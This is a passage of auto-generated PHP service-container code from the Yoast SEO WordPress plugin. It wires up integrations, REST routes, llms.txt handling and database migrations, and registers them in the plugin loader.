($this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] ?? $this->getShortLinkHelperService()), ($this->services['Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional'] = new \Yoast\WP\SEO\Conditionals\WooCommerce_Conditional()))); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Woocommerce_Product_Category_Permalink_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Woocommerce_Product_Category_Permalink_Integration */ protected function getWoocommerceProductCategoryPermalinkIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Woocommerce_Product_Category_Permalink_Integration'] = new \Yoast\WP\SEO\Integrations\Woocommerce_Product_Category_Permalink_Integration(($this->services['Yoast\\WP\\SEO\\Conditionals\\Dynamic_Product_Permalinks_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\Dynamic_Product_Permalinks_Conditional'] = new \Yoast\WP\SEO\Conditionals\Dynamic_Product_Permalinks_Conditional()))); } /** * Gets the public 'Yoast\WP\SEO\Integrations\XMLRPC' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\XMLRPC */ protected function getXMLRPCService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\XMLRPC'] = new \Yoast\WP\SEO\Integrations\XMLRPC(); } /** * Gets the public 'Yoast\WP\SEO\Introductions\Infrastructure\Introductions_Seen_Repository' shared autowired service. * * @return \Yoast\WP\SEO\Introductions\Infrastructure\Introductions_Seen_Repository */ protected function getIntroductionsSeenRepositoryService() { return $this->services['Yoast\\WP\\SEO\\Introductions\\Infrastructure\\Introductions_Seen_Repository'] = new \Yoast\WP\SEO\Introductions\Infrastructure\Introductions_Seen_Repository(($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Introductions\Infrastructure\Wistia_Embed_Permission_Repository' shared autowired service. * * @return \Yoast\WP\SEO\Introductions\Infrastructure\Wistia_Embed_Permission_Repository */ protected function getWistiaEmbedPermissionRepositoryService() { return $this->services['Yoast\\WP\\SEO\\Introductions\\Infrastructure\\Wistia_Embed_Permission_Repository'] = new \Yoast\WP\SEO\Introductions\Infrastructure\Wistia_Embed_Permission_Repository(($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Introductions\User_Interface\Introductions_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Introductions\User_Interface\Introductions_Integration */ protected function getIntroductionsIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Introductions\\User_Interface\\Introductions_Integration'] = new \Yoast\WP\SEO\Introductions\User_Interface\Introductions_Integration(($this->services['WPSEO_Admin_Asset_Manager'] ?? $this->getWPSEOAdminAssetManagerService()), ($this->privates['Yoast\\WP\\SEO\\Introductions\\Application\\Introductions_Collector'] ?? $this->getIntroductionsCollectorService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] ?? $this->getShortLinkHelperService()), ($this->services['Yoast\\WP\\SEO\\Introductions\\Infrastructure\\Wistia_Embed_Permission_Repository'] ?? $this->getWistiaEmbedPermissionRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional'] = new \Yoast\WP\SEO\Conditionals\WooCommerce_Conditional()))); } /** * Gets the public 'Yoast\WP\SEO\Introductions\User_Interface\Introductions_Seen_Route' shared autowired service. * * @return \Yoast\WP\SEO\Introductions\User_Interface\Introductions_Seen_Route */ protected function getIntroductionsSeenRouteService() { return $this->services['Yoast\\WP\\SEO\\Introductions\\User_Interface\\Introductions_Seen_Route'] = new \Yoast\WP\SEO\Introductions\User_Interface\Introductions_Seen_Route(($this->services['Yoast\\WP\\SEO\\Introductions\\Infrastructure\\Introductions_Seen_Repository'] ?? $this->getIntroductionsSeenRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())), ($this->privates['Yoast\\WP\\SEO\\Introductions\\Application\\Introductions_Collector'] ?? $this->getIntroductionsCollectorService())); } /** * Gets the public 'Yoast\WP\SEO\Introductions\User_Interface\Wistia_Embed_Permission_Route' shared autowired service. * * @return \Yoast\WP\SEO\Introductions\User_Interface\Wistia_Embed_Permission_Route */ protected function getWistiaEmbedPermissionRouteService() { return $this->services['Yoast\\WP\\SEO\\Introductions\\User_Interface\\Wistia_Embed_Permission_Route'] = new \Yoast\WP\SEO\Introductions\User_Interface\Wistia_Embed_Permission_Route(($this->services['Yoast\\WP\\SEO\\Introductions\\Infrastructure\\Wistia_Embed_Permission_Repository'] ?? $this->getWistiaEmbedPermissionRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Llms_Txt\Infrastructure\Content\Automatic_Post_Collection' shared autowired service. * * @return \Yoast\WP\SEO\Llms_Txt\Infrastructure\Content\Automatic_Post_Collection */ protected function getAutomaticPostCollectionService() { return $this->services['Yoast\\WP\\SEO\\Llms_Txt\\Infrastructure\\Content\\Automatic_Post_Collection'] = new \Yoast\WP\SEO\Llms_Txt\Infrastructure\Content\Automatic_Post_Collection(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Surfaces\\Meta_Surface'] ?? $this->getMetaSurfaceService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Llms_Txt\User_Interface\Available_Posts_Route' shared autowired service. * * @return \Yoast\WP\SEO\Llms_Txt\User_Interface\Available_Posts_Route */ protected function getAvailablePostsRouteService() { return $this->services['Yoast\\WP\\SEO\\Llms_Txt\\User_Interface\\Available_Posts_Route'] = new \Yoast\WP\SEO\Llms_Txt\User_Interface\Available_Posts_Route(new \Yoast\WP\SEO\Llms_Txt\Application\Available_Posts\Available_Posts_Repository(($this->services['Yoast\\WP\\SEO\\Llms_Txt\\Infrastructure\\Content\\Automatic_Post_Collection'] ?? $this->getAutomaticPostCollectionService())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] = new \Yoast\WP\SEO\Helpers\Capability_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Llms_Txt\User_Interface\Cleanup_Llms_Txt_On_Deactivation' shared autowired service. * * @return \Yoast\WP\SEO\Llms_Txt\User_Interface\Cleanup_Llms_Txt_On_Deactivation */ protected function getCleanupLlmsTxtOnDeactivationService() { return $this->services['Yoast\\WP\\SEO\\Llms_Txt\\User_Interface\\Cleanup_Llms_Txt_On_Deactivation'] = new \Yoast\WP\SEO\Llms_Txt\User_Interface\Cleanup_Llms_Txt_On_Deactivation(($this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Application\\File\\Commands\\Remove_File_Command_Handler'] ?? $this->getRemoveFileCommandHandlerService()), ($this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Application\\File\\Llms_Txt_Cron_Scheduler'] ?? $this->getLlmsTxtCronSchedulerService())); } /** * Gets the public 'Yoast\WP\SEO\Llms_Txt\User_Interface\Enable_Llms_Txt_Option_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Llms_Txt\User_Interface\Enable_Llms_Txt_Option_Watcher */ protected function getEnableLlmsTxtOptionWatcherService() { return $this->services['Yoast\\WP\\SEO\\Llms_Txt\\User_Interface\\Enable_Llms_Txt_Option_Watcher'] = new \Yoast\WP\SEO\Llms_Txt\User_Interface\Enable_Llms_Txt_Option_Watcher(($this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Application\\File\\Llms_Txt_Cron_Scheduler'] ?? $this->getLlmsTxtCronSchedulerService()), ($this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Application\\File\\Commands\\Remove_File_Command_Handler'] ?? $this->getRemoveFileCommandHandlerService()), ($this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Application\\File\\Commands\\Populate_File_Command_Handler'] ?? $this->getPopulateFileCommandHandlerService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Llms_Txt\User_Interface\File_Failure_Llms_Txt_Notification_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Llms_Txt\User_Interface\File_Failure_Llms_Txt_Notification_Integration */ protected function getFileFailureLlmsTxtNotificationIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Llms_Txt\\User_Interface\\File_Failure_Llms_Txt_Notification_Integration'] = new \Yoast\WP\SEO\Llms_Txt\User_Interface\File_Failure_Llms_Txt_Notification_Integration(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast_Notification_Center'] ?? $this->getYoastNotificationCenterService()), new \Yoast\WP\SEO\Llms_Txt\Application\File\File_Failure_Notification_Presenter()); } /** * Gets the public 'Yoast\WP\SEO\Llms_Txt\User_Interface\Llms_Txt_Cron_Callback_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Llms_Txt\User_Interface\Llms_Txt_Cron_Callback_Integration */ protected function getLlmsTxtCronCallbackIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Llms_Txt\\User_Interface\\Llms_Txt_Cron_Callback_Integration'] = new \Yoast\WP\SEO\Llms_Txt\User_Interface\Llms_Txt_Cron_Callback_Integration(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Application\\File\\Llms_Txt_Cron_Scheduler'] ?? $this->getLlmsTxtCronSchedulerService()), ($this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Application\\File\\Commands\\Populate_File_Command_Handler'] ?? $this->getPopulateFileCommandHandlerService()), ($this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Application\\File\\Commands\\Remove_File_Command_Handler'] ?? $this->getRemoveFileCommandHandlerService())); } /** * Gets the public 'Yoast\WP\SEO\Llms_Txt\User_Interface\Schedule_Population_On_Activation_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Llms_Txt\User_Interface\Schedule_Population_On_Activation_Integration */ protected function getSchedulePopulationOnActivationIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Llms_Txt\\User_Interface\\Schedule_Population_On_Activation_Integration'] = new \Yoast\WP\SEO\Llms_Txt\User_Interface\Schedule_Population_On_Activation_Integration(($this->privates['Yoast\\WP\\SEO\\Llms_Txt\\Application\\File\\Llms_Txt_Cron_Scheduler'] ?? $this->getLlmsTxtCronSchedulerService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Loader' shared autowired service. * * @return \Yoast\WP\SEO\Loader */ protected function getLoaderService() { $this->services['Yoast\\WP\\SEO\\Loader'] = $instance = new \Yoast\WP\SEO\Loader($this); $instance->register_route('Yoast\\WP\\SEO\\AI_Authorization\\User_Interface\\Callback_Route'); $instance->register_route('Yoast\\WP\\SEO\\AI_Authorization\\User_Interface\\Refresh_Callback_Route'); $instance->register_integration('Yoast\\WP\\SEO\\AI_Consent\\User_Interface\\Ai_Consent_Integration'); $instance->register_route('Yoast\\WP\\SEO\\AI_Consent\\User_Interface\\Consent_Route'); $instance->register_route('Yoast\\WP\\SEO\\AI_Free_Sparks\\User_Interface\\Free_Sparks_Route'); $instance->register_integration('Yoast\\WP\\SEO\\AI_Generator\\User_Interface\\Ai_Generator_Integration'); $instance->register_route('Yoast\\WP\\SEO\\AI_Generator\\User_Interface\\Bust_Subscription_Cache_Route'); $instance->register_route('Yoast\\WP\\SEO\\AI_Generator\\User_Interface\\Get_Suggestions_Route'); $instance->register_route('Yoast\\WP\\SEO\\AI_Generator\\User_Interface\\Get_Usage_Route'); $instance->register_integration('Yoast\\WP\\SEO\\Alerts\\Application\\Default_SEO_Data\\Default_SEO_Data_Alert'); $instance->register_integration('Yoast\\WP\\SEO\\Alerts\\Application\\Indexables_Disabled\\Indexables_Disabled_Alert'); $instance->register_integration('Yoast\\WP\\SEO\\Alerts\\Application\\Ping_Other_Admins\\Ping_Other_Admins_Alert'); $instance->register_integration('Yoast\\WP\\SEO\\Alerts\\User_Interface\\Default_SEO_Data\\Default_SEO_Data_Cron_Callback_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Alerts\\User_Interface\\Default_Seo_Data\\Default_SEO_Data_Cron_Scheduler'); $instance->register_integration('Yoast\\WP\\SEO\\Alerts\\User_Interface\\Default_SEO_Data\\Default_SEO_Data_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Alerts\\User_Interface\\Resolve_Alert_Route'); $instance->register_integration('Yoast\\WP\\SEO\\Analytics\\User_Interface\\Last_Completed_Indexation_Integration'); $instance->register_command('Yoast\\WP\\SEO\\Commands\\Cleanup_Command'); $instance->register_command('Yoast\\WP\\SEO\\Commands\\Index_Command'); $instance->register_migration('free', '20171228151840', 'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastIndexable'); $instance->register_migration('free', '20171228151841', 'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastPrimaryTerm'); $instance->register_migration('free', '20190529075038', 'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastDropIndexableMetaTableIfExists'); $instance->register_migration('free', '20191011111109', 'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastIndexableHierarchy'); $instance->register_migration('free', '20200408101900', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddCollationToTables'); $instance->register_migration('free', '20200420073606', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddColumnsToIndexables'); $instance->register_migration('free', '20200428123747', 'Yoast\\WP\\SEO\\Config\\Migrations\\BreadcrumbTitleAndHierarchyReset'); $instance->register_migration('free', '20200428194858', 'Yoast\\WP\\SEO\\Config\\Migrations\\ExpandIndexableColumnLengths'); $instance->register_migration('free', '20200429105310', 'Yoast\\WP\\SEO\\Config\\Migrations\\TruncateIndexableTables'); $instance->register_migration('free', '20200430075614', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddIndexableObjectIdAndTypeIndex'); $instance->register_migration('free', '20200430150130', 'Yoast\\WP\\SEO\\Config\\Migrations\\ClearIndexableTables'); $instance->register_migration('free', '20200507054848', 'Yoast\\WP\\SEO\\Config\\Migrations\\DeleteDuplicateIndexables'); $instance->register_migration('free', '20200513133401', 'Yoast\\WP\\SEO\\Config\\Migrations\\ResetIndexableHierarchyTable'); $instance->register_migration('free', '20200609154515', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddHasAncestorsColumn'); $instance->register_migration('free', '20200616130143', 'Yoast\\WP\\SEO\\Config\\Migrations\\ReplacePermalinkHashIndex'); $instance->register_migration('free', '20200617122511', 'Yoast\\WP\\SEO\\Config\\Migrations\\CreateSEOLinksTable'); $instance->register_migration('free', '20200702141921', 'Yoast\\WP\\SEO\\Config\\Migrations\\CreateIndexableSubpagesIndex'); $instance->register_migration('free', '20200728095334', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddIndexesForProminentWordsOnIndexables'); $instance->register_migration('free', '20201202144329', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddEstimatedReadingTime'); $instance->register_migration('free', '20201216124002', 'Yoast\\WP\\SEO\\Config\\Migrations\\ExpandIndexableIDColumnLengths'); $instance->register_migration('free', '20201216141134', 'Yoast\\WP\\SEO\\Config\\Migrations\\ExpandPrimaryTermIDColumnLengths'); $instance->register_migration('free', '20210817092415', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddVersionColumnToIndexables'); $instance->register_migration('free', '20211020091404', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddObjectTimestamps'); $instance->register_migration('free', '20230417083836', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddInclusiveLanguageScore'); $instance->register_migration('free', '20260105111111', 'Yoast\\WP\\SEO\\Config\\Migrations\\AddSeoLinksIndex'); $instance->register_integration('Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Watcher_Actions'); $instance->register_route('Yoast\\WP\\SEO\\Content_Type_Visibility\\User_Interface\\Content_Type_Visibility_Dismiss_New_Route'); $instance->register_integration('Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Configuration\\Site_Kit_Capabilities_Integration'); $instance->register_route('Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Configuration\\Site_Kit_Configuration_Dismissal_Route'); $instance->register_route('Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Configuration\\Site_Kit_Consent_Management_Route'); $instance->register_route('Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Scores\\Readability_Scores_Route'); $instance->register_route('Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Scores\\SEO_Scores_Route'); $instance->register_integration('Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Setup\\Setup_Flow_Interceptor'); $instance->register_integration('Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Setup\\Setup_Url_Interceptor'); $instance->register_route('Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Time_Based_SEO_Metrics\\Time_Based_SEO_Metrics_Route'); $instance->register_route('Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Tracking\\Setup_Steps_Tracking_Route'); $instance->register_integration('Yoast\\WP\\SEO\\General\\User_Interface\\General_Page_Integration'); $instance->register_route('Yoast\\WP\\SEO\\General\\User_Interface\\Opt_In_Route'); $instance->register_initializer('Yoast\\WP\\SEO\\Initializers\\Crawl_Cleanup_Permalinks'); $instance->register_initializer('Yoast\\WP\\SEO\\Initializers\\Disable_Core_Sitemaps'); $instance->register_initializer('Yoast\\WP\\SEO\\Initializers\\Migration_Runner'); $instance->register_initializer('Yoast\\WP\\SEO\\Initializers\\Plugin_Headers'); $instance->register_initializer('Yoast\\WP\\SEO\\Initializers\\Silence_Load_Textdomain_Just_In_Time_Notices'); $instance->register_initializer('Yoast\\WP\\SEO\\Initializers\\Woocommerce'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Academy_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Activation_Cleanup_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Addon_Installation\\Dialog_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Addon_Installation\\Installation_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Admin_Columns_Cache_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Background_Indexing_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Brand_Insights_Page'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Check_Required_Version'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Crawl_Settings_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Cron_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Deactivated_Premium_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\First_Time_Configuration_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\First_Time_Configuration_Notice_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Fix_News_Dependencies_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Health_Check_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\HelpScout_Beacon'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Import_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Indexables_Exclude_Taxonomy_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Indexing_Notification_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Indexing_Tool_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Installation_Success_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Integrations_Page'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Link_Count_Columns_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Menu_Badge_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Migration_Error_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Old_Configuration_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Redirect_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Redirections_Tools_Page'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Redirects_Page_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Admin\\Workouts_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Alerts\\Ai_Generator_Tip_Notification'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Product_Editor_Checklist_Notification'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Promotion_Notification'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Sidebar_Checklist_Notification'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Alerts\\Trustpilot_Review_Notification'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Alerts\\Webinar_Promo_Notification'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Blocks\\Internal_Linking_Category'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Blocks\\Block_Editor_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Blocks\\Breadcrumbs_Block'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Blocks\\Structured_Data_Blocks'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Breadcrumbs_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Cleanup_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Estimated_Reading_Time'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Exclude_Attachment_Post_Type'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Exclude_Oembed_Cache_Post_Type'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Feature_Flag_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Backwards_Compatibility'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Category_Term_Description'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Comment_Link_Fixer'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Basic'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Rss'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Crawl_Cleanup_Searches'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Feed_Improvements'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Force_Rewrite_Title'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Handle_404'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Indexing_Controls'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Open_Graph_OEmbed'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Redirects'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Robots_Txt_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\RSS_Footer_Embed'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\Schema_Accessibility_Feature'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Front_End\\WP_Robots_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Primary_Category'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Settings_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Support_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\AMP'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\BbPress'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\Elementor'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\Exclude_Elementor_Post_Types'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\Exclude_WooCommerce_Post_Types'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\Jetpack'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\W3_Total_Cache'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\Web_Stories_Post_Edit'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\Web_Stories'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wincher_Publish'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\Woocommerce_Permalinks'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\WooCommerce_Post_Edit'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\WooCommerce'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\WPML_WPSEO_Notification'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Third_Party\\WPML'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Uninstall_Integration'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Addon_Update_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Auto_Update_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Ancestor_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Attachment_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Author_Archive_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Author_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Category_Permalink_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Date_Archive_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Home_Page_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_HomeUrl_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Permalink_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Meta_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Type_Archive_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Type_Change_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Static_Home_Page_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_System_Page_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Taxonomy_Change_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Term_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Option_Titles_Watcher'); $instance->register_integration('Yoast\\WP\\SEO\\Integrations\\Watchers\\Option_Wpseo_Watcher'); 